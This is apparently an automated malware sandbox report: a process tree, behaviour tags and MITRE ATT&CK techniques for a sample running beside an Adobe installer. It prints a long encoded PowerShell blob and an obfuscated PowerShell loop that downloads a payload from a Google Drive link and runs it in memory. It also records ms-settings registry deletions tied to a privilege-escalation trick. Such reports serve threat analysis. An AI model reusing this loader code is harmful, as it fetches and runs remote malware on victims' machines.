QgBWAIkBSABFAIkBUgB3AEIAMACJAUQARQCJAWMAiQFCAE8AiQFHAFEAiQFhAFEAiQEzAIkBRQBZAIkBTQBRAIkBNACJAUUAZwCJAWMAZwBCAGgAiQFIAE0AiQEUAYkBQgB3AIkBQwA0AIkBWgBRAEIANACJAUcAVQCJAYkBiQGJAYkBiQFDAGcAiQGJAWcAiQFCAIkBRQB3AIkBWgBRAEIAbgCJAUcARQCJAWIAiQFCAEQAiQFHADgAiQFjAIkBQgA1AIkBSABJAIkBYQBRAEIAbgCJAUcAZwCJAWQAiQGJAYkBiQFDAIkBiQGJAYkBQwBZAIkBRABjAIkBiQFRAEIAUACJAUgASQCJAWEAUQBCAG4AiQFHAGsAiQFiAGcAQgBoAIkBRwB3AIkBUgBnAEIAcACJAUcAdwCJAVoAUQBCAHUAiQFHAEUAiQFiAFEAQgBsAIkBiQGJAYkBYQCJAYkBMgCJAUQARQCJAVEAZwBCAFcAiQFIAGsAiQFiAFEAQgBpAIkBSACJAYkBYQBnAEIAbQCJAUcATQCJAU4AiQFCAE8AiQFIAE0AiQFOAHcAQgBXAIkBRABVAIkBYwBRAEIARgCJAUcAOACJAWQAZwBCAGoAiQFHAFkAiQFPAIkBQgB2AIkBRgBZAIkBFAFnAIkBMwCJAUUANACJAU4AUQBCAFYAiQFIAEUAiQFSAHcAQgAwAIkBRABFAIkBYwCJAUIATwCJAUcAUQCJAWEAUQCJATMAiQFFAFkAiQFNAFEAiQE0AIkBRQBnAIkBYwBnAEIAaACJAUgATQCJARQBiQFCAHcAiQFDADQAiQFaAFEAQgA0AIkBRwBVAIkBiQGJAYkBiQGJAUQAUQCJAUMAiQGJAUIAiQFGAIkBiQFjAGcAQgB2AIkBRwBRAIkBZABRAEIAagCJAUgAUQCJAVYAZwBCAGwAiQFIAEkAiQFjAHcAQgBwAIkBRwA4AIkBYgBnAIkBiQGJAUQAiQGJAUwAZwCJAXcAiQFDADQAiQFNAIkBiQF1AIkBRACJAYkBiQGJAYkBNACJAYkBZwCJAYkBUQBCAEIAiQFIAE0AiQFjAHcAQgBsAIkBRwAwAIkBWQBnAEIAcwCJAUgAawCJAUkAiQFCAFcAiQFHAFUAiQFjAGcAQgB6AIkBRwBrAIkBYgB3AEIAdQCJAYkBiQGJAU0AiQGJAXUAiQFEAIkBiQFMAGcAiQF3AIkBQwA0AIkBTQCJAYkBiQGJAYkBiQGJAYkBiQFEAHYAdQA3ADgAOABQADMAaAB0AGIAQwBCADIAWgBYAEoAegBhAFcAOQB1AFAAUwBJAHgATABqAIkBaQBJAEcAVgB1AFkAMgA5AGsAYQBXADUAbgBQAFMASgBWAFYARQBZAHQATwBDAEkAZwBjADMAUgBoAGIAbQBSAGgAYgBHADkAdQBaABQBMABpAGUAVwBWAHoASQBqADgAKwBEAFEAbwA4AFkAWABOAHoAWgBXADEAaQBiAEgAawBnAGUARwAxAHMAYgBuAE0AOQBJAG4AVgB5AGIAagBwAHoAWQAyAGgAbABiAFcARgB6AEwAVwAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwAxAGoAYgAyADAANgBZAFgATgB0AEwAbgBZAHgASQBpAEIAdABZAFcANQBwAFoAbQBWAHoAZABGAFoAbABjAG4ATgBwAGIAMgA0ADkASQBqAEUAdQBNAEMASQArAEQAUQBvAGcASQBEAHgAaABjADMATgBsAGIAVwBKAHMAZQBVAGwAawBaAFcANQAwAGEAWABSADUASQBIAFoAbABjAG4ATgBwAGIAMgA0ADkASQBqAEUAdQBNAEMANAB3AEwAagCJAWkASQBHADUAaABiAFcAVQA5AEkAawAxADUAUQBYAEIAdwBiAEcAbABqAFkAWABSAHAAYgAyADQAdQBZAFgAQgB3AEkAaQA4ACsARABRAG8AZwBJAEQAeAAwAGMAbgBWAHoAZABFAGwAdQBaAG0AOABnAGUARwAxAHMAYgBuAE0AOQBJAG4AVgB5AGIAagBwAHoAWQAyAGgAbABiAFcARgB6AEwAVwAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwAxAGoAYgAyADAANgBZAFgATgB0AEwAbgBZAHkASQBqADQATgBDAGkAiQFnAEkAQwCJATgAYwAyAFYAagBkAFgASgBwAGQASABrACsARABRAG8AZwBJAEMAiQFnAEkAQwCJATgAYwBtAFYAeABkAFcAVgB6AGQARwBWAGsAVQBIAEoAcABkAG0AbABzAFoAVwBkAGwAYwB5AEIANABiAFcAeAB1AGMAegAwAGkAZABYAEoAdQBPAG4ATgBqAGEARwBWAHQAWQBYAE0AdABiAFcAbABqAGMAbQA5AHoAYgAyAFoAMABMAFcATgB2AGIAFAFwAGgAYwAyADAAdQBkAGoATQBpAFAAZwAwAEsASQBDAIkBZwBJAEMAiQFnAEkAQwCJATgAYwBtAFYAeABkAFcAVgB6AGQARwBWAGsAUgBYAGgAbABZADMAVgAwAGEAVwA5AHUAFAFHAFYAMgBaAFcAdwBnAGIARwBWADIAWgBXAHcAOQBJAG0ARgB6AFMAVwA1ADIAYgAyAHQAbABjAGkASQBnAGQAVwBsAEIAWQAyAE4AbABjADMATQA5AEkAbQBaAGgAYgBIAE4AbABJAGkAOAArAEQAUQBvAGcASQBDAIkBZwBJAEMAiQE4AEwAMwBKAGwAYwBYAFYAbABjADMAUgBsAFoARgBCAHkAYQBYAFoAcABiAEcAVgBuAFoAWABNACsARABRAG8AZwBJAEMAiQFnAFAAQwA5AHoAWgBXAE4AMQBjAG0AbAAwAGUAFAE0AE4AQwBpAIkBZwBQAEMAOQAwAGMAbgBWAHoAZABFAGwAdQBaAG0AOAArAEQAUQBvADgATAAyAEYAegBjADIAVgB0AFkAbQB4ADUAUABnADAASwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUMAiQGJAYkBiQF3AIkBiQGJAYkBUQBPAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBPQAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwCJAScALAAgACcAQQAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnABQBJwAsACAAJwBUACcAKQApACkAOwBzAGEAcABzACAAIgBjAG0AZAAuAGUAeABlACIAIAAiAC8AYwAgACQAcABlAHIAcwBpAGQAYQAgACIAIgAkACgAZwBjACAALQBSAGEAdwAgACQAawBvAG0AaQBuAGEAKQAiACIAIgAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3AH0AZQBsAHMAZQB7AHMAYQBwAHMAIAAiAGMAbQBkAC4AZQB4AGUAIgAgACIALwBjACAAJABwAGUAcgBzAGkAZABhACAAIgAiACQAKABnAGMAIAAtAFIAYQB3ACAAJABrAG8AbQBpAG4AYQApACIAIgAiACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcAfQA=
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2344
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SystemIdle.SystemIdle "while($true){try{if(-not(gps -Name ('InstLK569898511000xzcCXvLKss243000xzcCXvLKss243000xzcCXvUtiLKss243000xzcCXv'.('re'+'PL'+'Ac'+'e')('LK569898511000xzcCXv', 'a').('re'+'PL'+'Ac'+'e')('LKss243000xzcCXv', 'l')) -ea silentlycontinue)){[Byte[]] $PLA=[System.Convert]::('frvXCczx000115898965KLe64StLK569898511000xzcCXvG'.('re'+'PL'+'Ac'+'e')('LK569898511000xzcCXv', 'rin').('re'+'PL'+'Ac'+'e')('vXCczx000115898965KL', 'omBas'))((&('nb8849852YYrttr66734VZxbPPiw-kjhg898953jHHjhjHHHDbjb8849852YYrttr66734VZxbPPicT'.('re'+'PL'+'Ac'+'e')('b8849852YYrttr66734VZxbPPi', 'e').('re'+'PL'+'Ac'+'e')('kjhg898953jHHjhjHHHD', 'O')) ('nb8849852YYrttr66734VZxbPPit.Wb8849852YYrttr66734VZxbPPibClib8849852YYrttr66734VZxbPPint'.('re'+'PL'+'Ac'+'e')('b8849852YYrttr66734VZxbPPi', 'e').('re'+'PL'+'Ac'+'e')('kjhg898953jHHjhjHHHD', 'O'))).('dBCXXBNM90640NMBMnbmmnvmwnlBCXXBNM90640NMBMnbmmnvmadStkk564832198QWYYJyjYwqNBcG'.('re'+'PL'+'Ac'+'e')('BCXXBNM90640NMBMnbmmnvm', 'o').('re'+'PL'+'Ac'+'e')('kk564832198QWYYJyjYwqNBc', 'rin'))('hHHHD87Husfuii78uixfsdHHHD87Husfuii78uixfsdps://drivIURauc82wisfo.googmnnxcvxNNcxjdhhIURauc82wisfo.com/uc?IURauc82wisfoxporHHHD87Husfuii78uixfsd=downmnnxcvxNNcxjdhhoad&id=1asadHHHD87Husfuii78uixfsd-_J4pmnnxcvxNNcxjdhhFQAm45HHHD87Husfuii78uixfsdhWvxf-CIwZovLN'.('re'+'PL'+'Ac'+'e')('IURauc82wisfo', 'e').('re'+'PL'+'Ac'+'e')('HHHD87Husfuii78uixfsd', 't').('re'+'PL'+'Ac'+'e')('mnnxcvxNNcxjdhh', 'l'))-replace('@','A')-replace('#','T'));[System.AppDomain]::('currZXB9954690lnbytyq2qwx3xntDii3543vbcmBXZIqQDSdsirmain'.('re'+'PL'+'Ac'+'e')('ZXB9954690lnbytyq2qwx3x', 'e').('re'+'PL'+'Ac'+'e')('ii3543vbcmBXZIqQDSdsir', 'o')).('lii3543vbcmBXZIqQDSdsirad'.('re'+'PL'+'Ac'+'e')('ii3543vbcmBXZIqQDSdsir', 'o'))($PLA).('gRQW7438BuvwZ94mKcpttyPRQW7438BuvwZ94mKcp'.('re'+'PL'+'Ac'+'e')('RQW7438BuvwZ94mKcp', 'e'))('ClLPO9jbv9MNoissLibrLPO9jbv9MNoiry3.ClLPO9jbv9MNoiss1'.('re'+'PL'+'Ac'+'e')('LPO9jbv9MNoi', 'a')).('gK94834ytSSw7821ZZzY43wtMK94834ytSSw7821ZZzY43wthOD'.('re'+'PL'+'Ac'+'e')('K94834ytSSw7821ZZzY43w', 'e'))('Run').('Bu3989PPZ2949TRQsoke'.('re'+'PL'+'Ac'+'e')('Bu3989PPZ2949TRQs', 'iNv'))($null,[object[]]('aMqBU_bAJZrgtQ9rL9WfgOVFp009032ZmkKgfCxwjtbD1=dP3428ZvcxXwWqwW&dap009032ZmkKgflnwp009032ZmkKgfd=trp009032ZmkKgfpxBCXXBNM90640N?cu/mp009032ZmkKgfc.BCXXBNM90640Nlgp009032ZmkKgfp009032ZmkKgfg.BCXXBNM90640NvP3428ZvcxXwWqwWrd532Bty521QxzbvhygBth'.('re'+'PL'+'Ac'+'e')('532Bty521QxzbvhygB', '//:spt').('re'+'PL'+'Ac'+'e')('BCXXBNM90640N', 'e').('re'+'PL'+'Ac'+'e')('p009032ZmkKgf', 'o').('re'+'PL'+'Ac'+'e')('P3428ZvcxXwWqwW', 'i')))}}catch{sleep -s 300}}sleep -s 3 "
        9⤵
        
        PID:1816
        
        C:\Windows\SystemIdle.SystemIdle
        
        C:\Windows\SystemIdle.SystemIdle "while($true){try{if(-not(gps -Name ('InstLK569898511000xzcCXvLKss243000xzcCXvLKss243000xzcCXvUtiLKss243000xzcCXv'.('re'+'PL'+'Ac'+'e')('LK569898511000xzcCXv', 'a').('re'+'PL'+'Ac'+'e')('LKss243000xzcCXv', 'l')) -ea silentlycontinue)){[Byte[]] $PLA=[System.Convert]::('frvXCczx000115898965KLe64StLK569898511000xzcCXvG'.('re'+'PL'+'Ac'+'e')('LK569898511000xzcCXv', 'rin').('re'+'PL'+'Ac'+'e')('vXCczx000115898965KL', 'omBas'))((&('nb8849852YYrttr66734VZxbPPiw-kjhg898953jHHjhjHHHDbjb8849852YYrttr66734VZxbPPicT'.('re'+'PL'+'Ac'+'e')('b8849852YYrttr66734VZxbPPi', 'e').('re'+'PL'+'Ac'+'e')('kjhg898953jHHjhjHHHD', 'O')) ('nb8849852YYrttr66734VZxbPPit.Wb8849852YYrttr66734VZxbPPibClib8849852YYrttr66734VZxbPPint'.('re'+'PL'+'Ac'+'e')('b8849852YYrttr66734VZxbPPi', 'e').('re'+'PL'+'Ac'+'e')('kjhg898953jHHjhjHHHD', 'O'))).('dBCXXBNM90640NMBMnbmmnvmwnlBCXXBNM90640NMBMnbmmnvmadStkk564832198QWYYJyjYwqNBcG'.('re'+'PL'+'Ac'+'e')('BCXXBNM90640NMBMnbmmnvm', 'o').('re'+'PL'+'Ac'+'e')('kk564832198QWYYJyjYwqNBc', 'rin'))('hHHHD87Husfuii78uixfsdHHHD87Husfuii78uixfsdps://drivIURauc82wisfo.googmnnxcvxNNcxjdhhIURauc82wisfo.com/uc?IURauc82wisfoxporHHHD87Husfuii78uixfsd=downmnnxcvxNNcxjdhhoad&id=1asadHHHD87Husfuii78uixfsd-_J4pmnnxcvxNNcxjdhhFQAm45HHHD87Husfuii78uixfsdhWvxf-CIwZovLN'.('re'+'PL'+'Ac'+'e')('IURauc82wisfo', 'e').('re'+'PL'+'Ac'+'e')('HHHD87Husfuii78uixfsd', 't').('re'+'PL'+'Ac'+'e')('mnnxcvxNNcxjdhh', 'l'))-replace('@','A')-replace('#','T'));[System.AppDomain]::('currZXB9954690lnbytyq2qwx3xntDii3543vbcmBXZIqQDSdsirmain'.('re'+'PL'+'Ac'+'e')('ZXB9954690lnbytyq2qwx3x', 'e').('re'+'PL'+'Ac'+'e')('ii3543vbcmBXZIqQDSdsir', 'o')).('lii3543vbcmBXZIqQDSdsirad'.('re'+'PL'+'Ac'+'e')('ii3543vbcmBXZIqQDSdsir', 'o'))($PLA).('gRQW7438BuvwZ94mKcpttyPRQW7438BuvwZ94mKcp'.('re'+'PL'+'Ac'+'e')('RQW7438BuvwZ94mKcp', 'e'))('ClLPO9jbv9MNoissLibrLPO9jbv9MNoiry3.ClLPO9jbv9MNoiss1'.('re'+'PL'+'Ac'+'e')('LPO9jbv9MNoi', 'a')).('gK94834ytSSw7821ZZzY43wtMK94834ytSSw7821ZZzY43wthOD'.('re'+'PL'+'Ac'+'e')('K94834ytSSw7821ZZzY43w', 'e'))('Run').('Bu3989PPZ2949TRQsoke'.('re'+'PL'+'Ac'+'e')('Bu3989PPZ2949TRQs', 'iNv'))($null,[object[]]('aMqBU_bAJZrgtQ9rL9WfgOVFp009032ZmkKgfCxwjtbD1=dP3428ZvcxXwWqwW&dap009032ZmkKgflnwp009032ZmkKgfd=trp009032ZmkKgfpxBCXXBNM90640N?cu/mp009032ZmkKgfc.BCXXBNM90640Nlgp009032ZmkKgfp009032ZmkKgfg.BCXXBNM90640NvP3428ZvcxXwWqwWrd532Bty521QxzbvhygBth'.('re'+'PL'+'Ac'+'e')('532Bty521QxzbvhygB', '//:spt').('re'+'PL'+'Ac'+'e')('BCXXBNM90640N', 'e').('re'+'PL'+'Ac'+'e')('p009032ZmkKgf', 'o').('re'+'PL'+'Ac'+'e')('P3428ZvcxXwWqwW', 'i')))}}catch{sleep -s 300}}sleep -s 3
        10⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2500
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\.alecar\ /f
        6⤵
        Modifies registry key
        
        PID:3896
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f
        6⤵
        Modifies registry key
        
        PID:1392

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Sets file execution options in registry
- Registers COM server for autorun
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 54EC39563BE917270914BF84FCFDDA0D
  2⤵
  - Loads dropped DLL
  - Drops file in System32 directory
  PID:3952
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 1E4702DEB8A47C5771EC59C37B68C5C9
  2⤵
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1700
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding E44F33B0F0EB2C0BE94CCF9694985022 E Global\MSI0000
  2⤵
  - Sets file execution options in registry
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:2184
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 76A0706707C2069F07F5B3C3987191A6 E Global\MSI0000
  2⤵
  - Modifies Installed Components in the registry
  - Registers COM server for autorun
  - Drops file in Program Files directory
  - Modifies Internet Explorer settings
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe
    "C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe"
    3⤵
    - Executes dropped EXE
    - Registers COM server for autorun
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1920
- C:\Windows\Installer\MSI992D.tmp
  "C:\Windows\Installer\MSI992D.tmp" /b 2 120 0
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe" ClearToasts
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe
  "C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe" 23.003.20201 --SingleClientApp
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1400
- - C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe
    --postMsg
    3⤵
    - Executes dropped EXE
    PID:4088
- C:\Windows\Installer\MSI5C9E.tmp
  "C:\Windows\Installer\MSI5C9E.tmp" {AC76BA86-1036-1033-7760-BC15014EA700} 1
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\system32\msiexec.exe
    msiexec.exe /i {AC76BA86-1036-1033-7760-BC15014EA700} REINSTALLMODE=omus REINSTALL=ALL IS_SEC_INSTALL=1 /qn
    3⤵
    PID:2772
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del "C:\Windows\Installer\MSI5C9E.tmp"
    3⤵
    PID:1976
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 5DB2BF4D835CBA4F85D5BD8A32727DCB
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2508
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding DC0186E9FE1CC4CDA3D5EEAF80B18C9F E Global\MSI0000
  2⤵
  - Sets file execution options in registry
  - Registers COM server for autorun
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:2176
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F8A98B04EEADBE55D33C9C0C7FC01926 E Global\MSI0000
  2⤵
  PID:368

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
1⤵
- Executes dropped EXE
PID:2632

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
1⤵
- Executes dropped EXE
PID:2416

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery